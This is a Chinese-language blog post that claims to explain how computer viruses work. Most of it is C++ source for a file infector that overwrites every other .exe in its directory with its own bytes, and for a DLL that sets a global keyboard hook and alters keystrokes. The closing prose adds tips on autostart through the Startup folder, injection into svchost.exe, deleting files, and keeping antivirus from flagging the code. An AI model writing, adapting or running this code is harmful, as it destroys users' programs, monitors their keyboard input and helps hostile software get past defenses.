病毒原理實例

#include <iostream>
#include <windows.h>
#include <errno.h>
using namespace std;

HMODULE g_hModule = NULL;

// 感染同目錄下的exe
void Infection()
{
	// 把自己打開,準備感染
	char szFullFileName[MAX_PATH] = "";
	GetModuleFileName(NULL, szFullFileName, sizeof(szFullFileName) / sizeof(char));
	char szFileName[64] = "";
	const char *pChr = strrchr(szFullFileName, '\\');
	if (!pChr)
	{
		return ;
	}
	strcpy_s(szFileName, sizeof(szFileName), pChr + 1);
	FILE *pSelfFile = NULL;

	errno_t err = fopen_s(&pSelfFile, szFullFileName, "rb");
	if (err)
	{
		cerr << err << endl;
		return ;
	}

	fseek(pSelfFile, 0, SEEK_END);
	int nMySize = ftell(pSelfFile);
	fseek(pSelfFile, 0, SEEK_SET);

	// 把自己讀入內存
	char *pszMySelf = new char[nMySize];
	if (!pszMySelf)
	{
		fclose(pSelfFile);
		return ;
	}
	memset(pszMySelf, 0, nMySize);
	fread(pszMySelf, nMySize / 10, 10, pSelfFile);

	// 取當前目錄,準備搜索
	char szDir[MAX_PATH] = "";
	GetCurrentDirectory(sizeof(szDir) / sizeof(char), szDir);

	char szSearchFile[MAX_PATH] = "";
	strcpy_s(szSearchFile, sizeof(szSearchFile), szDir);
	strcat_s(szSearchFile, sizeof(szSearchFile), "\\*");

	WIN32_FIND_DATA fd;
	memset(&fd, 0, sizeof(WIN32_FIND_DATA));

	HANDLE hFile = FindFirstFile(szSearchFile, &fd);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		cerr << GetLastError() << endl;
		fclose(pSelfFile);
		return ;
	}

	// 循環讀取exe文件,開始感染
	while(TRUE)
	{
		if (FALSE == FindNextFile(hFile, &fd))
		{
			break;
		}

		if (strcmp(fd.cFileName, szFileName) == 0)
		{
			continue ;
		}

		if (strstr(fd.cFileName, ".exe") != NULL)
		{
			char szDstFileFullPath[MAX_PATH] = "";
			strcpy_s(szDstFileFullPath, sizeof(szDstFileFullPath), szDir);
			strcat_s(szDstFileFullPath, sizeof(szDstFileFullPath), "\\");
			strcat_s(szDstFileFullPath, sizeof(szDstFileFullPath), fd.cFileName);

			FILE *pFile = NULL;
			fopen_s(&pFile, szDstFileFullPath, "r+b");
			fseek(pFile, 0, SEEK_SET);
			fwrite(pszMySelf, nMySize / 10, 10, pFile);
			fclose(pFile);

			cout << "已感染文件:" << szDstFileFullPath << endl;
		}
		else
		{
//			remove(fd.cFileName);
		}
	}

	fclose(pSelfFile);
	delete []pszMySelf;
}

void CreateKeyboardHook()
{
	g_hModule = LoadLibrary("Hook.dll");
	if (!g_hModule)
	{
		return ;
	}

	typedef void (*HookFunc)();
	HookFunc myHookFunc = (HookFunc)GetProcAddress(g_hModule, "SetHook");
	if (!myHookFunc)
	{
		FreeLibrary(g_hModule);
		return ;
	}
	myHookFunc();
}

int main()
{
	Infection();
	CreateKeyboardHook();

	system("pause");

	typedef void (*UnHookFunc)();
	UnHookFunc unHookFunc = (UnHookFunc)GetProcAddress(g_hModule, "UnHook");
	if (!unHookFunc)
	{
		FreeLibrary(g_hModule);
		return 1;
	}
	unHookFunc();

	FreeLibrary(g_hModule);

	return 0;
}
#include <windows.h>

extern "C" _declspec(dllexport) void SetHook();
extern "C" _declspec(dllexport) void UnHook();

HHOOK g_KeyBoardHook = NULL;

LRESULT CALLBACK KeyBoardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (49 == wParam)
	{
		wParam = 50;
		::MessageBox(NULL, "你按了A,我幫你改成B", "關掉吧", MB_OK);
		return CallNextHookEx(g_KeyBoardHook, nCode, wParam, lParam);
	}
	else if (0 == wParam)
	{
		UnhookWindowsHookEx(g_KeyBoardHook);
	}
	return 1;
}

void SetHook()
{
	g_KeyBoardHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardHook, GetModuleHandle("Hook"), 0);
}

void UnHook()
{
	UnhookWindowsHookEx(g_KeyBoardHook);
}

以上兩個程序只是爲了說明病毒的原理,其實,這隻算是一段惡意的代碼,第一段代碼是主程序,編譯成exe,第二段代碼是dll文件,先編譯一下dll文件,把lib文件放到主程序運行目錄下,把dll文件放到病毒程序運行目錄下,就可以了

1、病毒若想要自動運行,很簡單,只要把我們的exe放入開始菜單的啓動項就可以了,每次開機都會自動運行,如果高級點的話,就注入到別的進程裏去吧,如svchost.exe,具體實現,下次有時間再講解。

2、病毒感染,這是個很簡單的過程,就是打開目標文件,把病毒文件一個字節一個字節的讀出來,然後寫入到目標文件,這樣,目標文件就擁有與病毒文件相同的功能,也就是,如果目標是*.exe文件,那麼,目標文件運行後也會跟源病毒文件做相同的事

3、病毒破壞作用,這個也很簡單,想破壞個東西還不容易嗎,刪除文件就屬於破壞行爲了。如果想監控客戶機,就安裝個鉤子吧,就像上面的代碼一樣,安裝了個鍵盤鉤子。

4、現在的計算機都安裝有殺毒軟件,想要入侵怎麼辦?最簡單的辦法,就是寫個簡單的破壞軟件(這種軟件殺毒軟件不會報,殺毒軟件是個苦差啊,有些是不能報的),就像上面的那兩段代碼,去掉鉤子,殺毒軟件就不會報了,接下來,就是簡單的破壞了,只要不是寫註冊表,不安裝鉤子,不自動運行,殺軟一般都不會報,當然,這也是去了病毒程序最好玩的地方

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章